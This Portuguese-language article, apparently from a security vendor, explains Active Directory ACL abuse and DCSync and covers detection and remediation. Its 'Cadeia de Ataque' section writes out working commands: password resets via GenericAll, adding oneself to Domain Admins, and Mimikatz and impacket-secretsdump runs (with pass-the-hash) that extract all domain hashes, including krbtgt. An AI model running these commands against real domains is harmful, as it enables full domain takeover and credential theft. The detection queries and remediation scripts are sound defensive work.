Abuso de ACL e DCSync: Os Caminhos Silenciosos para Domain Admin

O Que E Abuso de ACL e DCSync no Active Directory?

Abuso de ACL e DCSync dependem de permissoes legitimas do Active Directory que foram concedidas de forma demasiado ampla. Objetos do Active Directory - utilizadores, grupos, computadores, OUs e GPOs - possuem todos Listas de Controlo de Acesso (ACLs) que definem quem pode ler, modificar ou controlar esses objetos. Quando estas ACLs estao mal configuradas, criam caminhos silenciosos de escalada de privilegios que contornam os limites de seguranca tradicionais.

Os dois padroes de ACL mais criticos sao o controlo amplo de objetos, como GenericAll, e os direitos de replicacao no domain naming context que permitem a um atacante personificar um cliente de replicacao. Ambos podem estar atribuidos a contas sem qualquer razao de negocio para os possuir, e ambos podem levar diretamente ao comprometimento do dominio.

Ao contrario de um exploit de software, o abuso de ACL nao depende de um CVE ou de uma correcao em falta. O atacante esta a abusar de um acesso que o AD ja reconhece como valido. E exatamente por isso que estes caminhos sao perigosos: sao faceis de ignorar num programa de seguranca centrado em vulnerabilidades e frequentemente sobrevivem intactos aos ciclos de patching.

Como Funciona

Todos os objetos do AD possuem um Security Descriptor que contem uma Discretionary ACL (DACL). Cada entrada na DACL e uma Access Control Entry (ACE) que concede ou nega direitos especificos a um security principal.

Tipos de ACE Perigosos Comuns

O Ataque DCSync

O DCSync abusa do protocolo de replicacao legitimo do AD, em vez de recorrer a execucao de codigo num domain controller. Os domain controllers replicam dados atraves do directory replication service, e os mesmos direitos de acesso de controlo podem ser delegados a outros security principals na raiz do domain naming context.

Na pratica, os direitos mais relevantes sao:

• DS-Replication-Get-Changes
• DS-Replication-Get-Changes-All
• em alguns ambientes, DS-Replication-Get-Changes-In-Filtered-Set

A Microsoft documenta DS-Replication-Get-Changes-All como o extended right que permite a replicacao de dados secretos do dominio. A Microsoft tambem documenta que as replicas de dominio gravaveis exigem DS-Replication-Get-Changes, DS-Replication-Get-Changes-All e DS-Replication-Get-Changes-In-Filtered-Set na raiz do domain NC. E por isso que uma revisao seria da exposicao a DCSync deve verificar o conjunto completo de direitos de replicacao, e nao apenas um GUID.

O DCSync nao exige um logon interativo num DC nem exige execucao de codigo no proprio DC. Pode parecer trafego de replicacao legitimo se o acesso ao diretorio nao estiver a ser auditado com atencao. No entanto, nao e inerentemente isento de registos: com a politica de auditoria correta e cobertura de SACL adequada, os domain controllers podem emitir eventos 4662 para o acesso, e as subcategorias de auditoria relacionadas com replicacao acrescentam mais contexto durante a resolucao de problemas.

A Cadeia de Ataque

Passo 1 - Enumerar ACLs Perigosas

# BloodHound - recolher dados do AD e mapear o grafo completo de ACLs
bloodhound-ce-python -u [email protected] -p password \
  -ns 10.10.0.1 -d corp.local -c All --zip

# No BloodHound: executar "Find Principals with DCSync Rights"
# E: "Shortest Paths to Domain Admins from Owned Principals"

# Manual: encontrar contas com direitos de replicacao no domain root
$dcsyncRights = @(
  "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes
  "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes-All
  "89e95b76-444d-4c62-991a-0facbeda640c"   # DS-Replication-Get-Changes-In-Filtered-Set
)

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"
$acl.Access | Where-Object {
  $_.ObjectType -in $dcsyncRights -and
  $_.AccessControlType -eq "Allow" -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE DOMAIN CONTROLLERS|Read-only Domain Controllers"
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType

Passo 2 - Explorar GenericAll num Utilizador

# Repor a password do admin alvo usando GenericAll
$secPwd = ConvertTo-SecureString "NovaP@ss1234!" -AsPlainText -Force
Set-ADAccountPassword -Identity "admin_alvo" -Reset -NewPassword $secPwd

# Ou forcar um SPN kerberoastable no alvo (GenericWrite)
Set-ADUser -Identity "admin_alvo" `
  -ServicePrincipalNames @{Add="http/fakeservice"}
# Agora fazer Kerberoast a conta e quebrar o hash offline

Passo 3 - Explorar GenericAll num Grupo

# Adicionar-se a Domain Admins usando GenericAll no grupo
Add-ADGroupMember -Identity "Domain Admins" -Members "atacante"

Passo 4 - Executar DCSync

# Mimikatz DCSync - extrair todos os hashes
lsadump::dcsync /domain:corp.local /all /csv
lsadump::dcsync /domain:corp.local /user:krbtgt

# Impacket a partir de Linux - nao requer execucao de codigo no DC
impacket-secretsdump -just-dc corp.local/utilizador_comprometido:[email protected]

# Pass-the-hash se a password for desconhecida
impacket-secretsdump -hashes "aad3b435b51404ee:NTLM_HASH" \
  corp.local/[email protected] -just-dc-user krbtgt

Passo 5 - Golden Ticket e Persistencia

Com o hash do KRBTGT obtido atraves do DCSync, o atacante forja um Golden Ticket - concedendo acesso Kerberos ilimitado a qualquer recurso do dominio ate que o KRBTGT seja rodado duas vezes.

Deteccao

IDs de Eventos do Windows

Queries de Deteccao SIEM (Elastic KQL)

Deteccao de DCSync - conta a exercer direitos de replicacao num DC:

event.code: "4662" AND
winlog.event_data.Properties: ("*1131f6ad*" OR "*1131f6aa*" OR "*89e95b76*") AND
NOT winlog.event_data.SubjectUserName: ("*$" OR "MSOL_*" OR "AAD_*") AND
NOT winlog.event_data.SubjectDomainName: "NT AUTHORITY"

Alteracao inesperada de membros de grupo privilegiado:

event.code: ("4728" OR "4732" OR "4756") AND
winlog.event_data.TargetUserName: (
  "Domain Admins" OR "Enterprise Admins" OR "Schema Admins" OR "Backup Operators"
) AND
NOT winlog.event_data.SubjectUserName: ("*admin*" OR "SYSTEM")

Remediacao

1. Remover Direitos de DCSync

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"

$replicationGuids = @(
  [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"89e95b76-444d-4c62-991a-0facbeda640c"
)

$acesToRemove = $acl.Access | Where-Object {
  $_.ObjectType -in $replicationGuids -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE|Read-only Domain Controllers"
}

foreach ($ace in $acesToRemove) {
  $acl.RemoveAccessRule($ace)
  Write-Host "Direito de replicacao removido de: $($ace.IdentityReference)"
}
Set-Acl "AD:\$domainDN" $acl

2. Reforcar o AdminSDHolder

O objeto AdminSDHolder fornece as permissoes de template para grupos e contas protegidos, e o processo SDProp no PDC Emulator compara e reaplica essas permissoes a cada 60 minutos por predefinicao:

$adminSDHolderDN = "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)"
(Get-Acl "AD:\$adminSDHolderDN").Access |
  Where-Object { $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM" } |
  Format-Table IdentityReference, ActiveDirectoryRights
# Remover quaisquer entradas inesperadas encontradas

3. Auditar ACLs de Objetos Criticos

$criticalObjects = @(
  (Get-ADDomain).DistinguishedName,
  "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)",
  (Get-ADGroup "Domain Admins").DistinguishedName
)

foreach ($obj in $criticalObjects) {
  $acl = Get-Acl "AD:\$obj"
  $dangerous = $acl.Access | Where-Object {
    $_.ActiveDirectoryRights -match "GenericAll|WriteDACL|WriteOwner|GenericWrite" -and
    $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM|NT AUTHORITY"
  }
  if ($dangerous) {
    Write-Warning "ACE PERIGOSA em $obj"
    $dangerous | Format-Table IdentityReference, ActiveDirectoryRights
  }
}

4. Ativar a Politica de Auditoria Necessaria

# Necessario para visibilidade do Event 4662 quando existem SACLs correspondentes
auditpol /set /subcategory:"Directory Service Access" /success:enable

# Util para monitorizar alteracoes a objetos do diretorio como o AdminSDHolder
auditpol /set /subcategory:"Directory Service Changes" /success:enable

Como a EtcSec Deteta Isto

A EtcSec mapeia o grafo completo de ACLs do seu ambiente Active Directory e identifica automaticamente caminhos de permissoes perigosos.

DCSYNC_CAPABLE identifica todas as contas que nao sejam DCs e que detenham direitos de replicacao no domain root, com enfase especial em principals capazes de solicitar dados secretos do dominio.

ACL_GENERICALL assinala contas com permissoes GenericAll sobre alvos de alto valor - utilizadores, grupos, computadores e OUs adjacentes ao acesso administrativo Tier 0.

PATH_ACL_TO_DA identifica cadeias de ACL multi-hop em que uma conta com baixo privilegio pode alcancar Domain Admin atraves de uma sequencia de abusos de ACE - caminhos invisiveis sem analise de grafo.

Perguntas Frequentes

Como e que os atacantes descobrem ma-configuracoes de ACL? O BloodHound e a ferramenta de analise de grafo mais comum para este problema - recolhe dados do AD, mapeia as relacoes entre objetos e destaca os caminhos mais curtos de escalada de privilegios. Os defensores devem usar a mesma abordagem antes que os atacantes o facam.

Qual e a diferenca entre DCSync e comprometer um Domain Controller? O DCSync abusa das interfaces de replicacao legitimas de forma remota. O atacante nao precisa de execucao de codigo interativa no DC se a conta ja tiver os direitos de acesso de controlo necessarios no domain naming context.

Como e que as contas obtem acidentalmente direitos de DCSync? As fontes mais comuns sao ferramentas de sincronizacao de diretorio, integracoes de identidade legadas, projetos de backup ou migracao, e alteracoes de ACL delegadas que nunca foram revistas. Algumas destas contas sao legitimas; o problema surge quando o direito permanece amplo, nao documentado, ou herdado mais longe do que o pretendido.

Prioridades de Validacao

O abuso de ACL deve ser revisto pela mesma ordem em que um operador o exploraria: o domain root, o AdminSDHolder, os grupos privilegiados, as contas de servico de alto valor, e qualquer OU que influencie sistemas Tier 0. Valide nao apenas os direitos diretos de GenericAll e replicacao, mas tambem WriteDACL, WriteOwner, ACEs herdadas, e a pertenca a grupos aninhados que recria silenciosamente o mesmo privilegio atraves de outro caminho. Uma remediacao so esta completa quando a permissao visivel, a cadeia de heranca, e o modelo de delegacao que a reintroduziu sao todos fechados em conjunto.

Caminhos Vizinhos Que Mantem o Risco Vivo

Em dominios maduros, ACLs demasiado permissivas raramente existem isoladas. Costumam estar proximas de Caminhos de Ataque AD: Ma Configuracoes em Cadeia, de um desenho de grupos fraco, de caminhos de GPO gravaveis, ou de definicoes de delegacao que permitem a uma identidade de baixo privilegio recuperar acesso administrativo atraves de outro objeto. E por isso que a limpeza de ACLs deve incluir uma revisao de grafo, e nao apenas um diff de permissoes no primeiro objeto assinalado. Se a sua equipa remover uma ACE mas deixar intocado um grupo aninhado, uma OU delegada, ou uma ACL herdada do objeto pai, o caminho pratico para o DCSync frequentemente sobrevive. Reveja a exposicao circundante com Aninhamento Perigoso de Grupos AD: Caminhos para Domain Admin, Ataques de Confianca do Active Directory: Do Dominio Filho a Raiz, Ataques Delegacao Kerberos: Nao Restrita a RBCD, e Ma Configuracoes de GPO: Quando a Group Policy Se Torna um Vetor de Ataque.

Leitura Relacionada

• Caminhos de Ataque AD: Ma Configuracoes em Cadeia
• Aninhamento Perigoso de Grupos AD: Caminhos para Domain Admin
• Ataques de Confianca do Active Directory: Do Dominio Filho a Raiz
• Ataques Delegacao Kerberos: Nao Restrita a RBCD
• Ma Configuracoes de GPO: Quando a Group Policy Se Torna um Vetor de Ataque

Evidencia a Capturar Antes da Remediacao

Antes de remover qualquer permissao, capture a cadeia de evidencia completa que prova como o caminho funciona. Exporte as ACEs atuais, documente se os direitos sao herdados ou diretos, identifique o aninhamento de grupos que concede o privilegio, e mapeie quais sistemas ou identidades Tier 0 se tornam alcancaveis assim que a permissao e abusada. Especificamente para o DCSync, registe se a conta detem Replicating Directory Changes, Replicating Directory Changes All, ou Replicating Directory Changes In Filtered Set, e se esses direitos provem de um grupo delegado que os administradores possam esquecer-se de rever mais tarde. Para abuso amplo de ACL, recolha tambem as permissoes da OU pai e do container, porque muitas ACEs perigosas regressam apos a limpeza quando a heranca ainda concede o caminho mais acima na arvore.

Sequencia de Remediacao Que Efetivamente Fecha o Caminho

A sequencia de remediacao mais eficaz comeca por remover a ponte de privilegio, e nao por limpar o sintoma visivel isoladamente. Se um grupo de baixo privilegio alcanca Domain Admin devido a um grupo aninhado, uma ACL herdada, e controlo de OU delegado, feche os tres elementos na mesma janela de alteracao. Reverifique o AdminSDHolder, os grupos protegidos, e a delegacao de contas de servico, para que o mesmo operador nao possa recuperar o controlo fazendo pivot para um objeto proximo. Apos a alteracao de ACL, valide com analise de grafo ou repita a enumeracao para confirmar que o caminho desapareceu da perspetiva do atacante, e nao apenas da vista do administrador num unico seletor de objetos. Por fim, registe a razao da alteracao de delegacao e o proprietario do novo estado, porque excecoes nao documentadas sao a forma como estes direitos regressam silenciosamente apos a proxima migracao, aquisicao, ou pedido de resolucao de problemas.

Checklist de Verificacao Apos a Limpeza de ACL

Assim que a alteracao de permissoes for implementada, execute novamente a mesma enumeracao ou analise de caminhos do BloodHound que provou o problema originalmente. Verifique que a ACE perigosa desapareceu, que o grupo concedente ja nao confere o direito atraves de aninhamento, e que nenhum objeto pai herdado recria o mesmo privilegio na proxima atualizacao. Para descobertas de DCSync, teste que a identidade perdeu realmente os direitos de replicacao relevantes em todo o conjunto que lhe interessa, e nao apenas num GUID. Uma breve validacao pos-alteracao previne o modo de falha classico em que os administradores removem a ACE visivel, declaram sucesso, e descobrem mais tarde que um caminho de delegacao adjacente manteve a cadeia de abuso viva.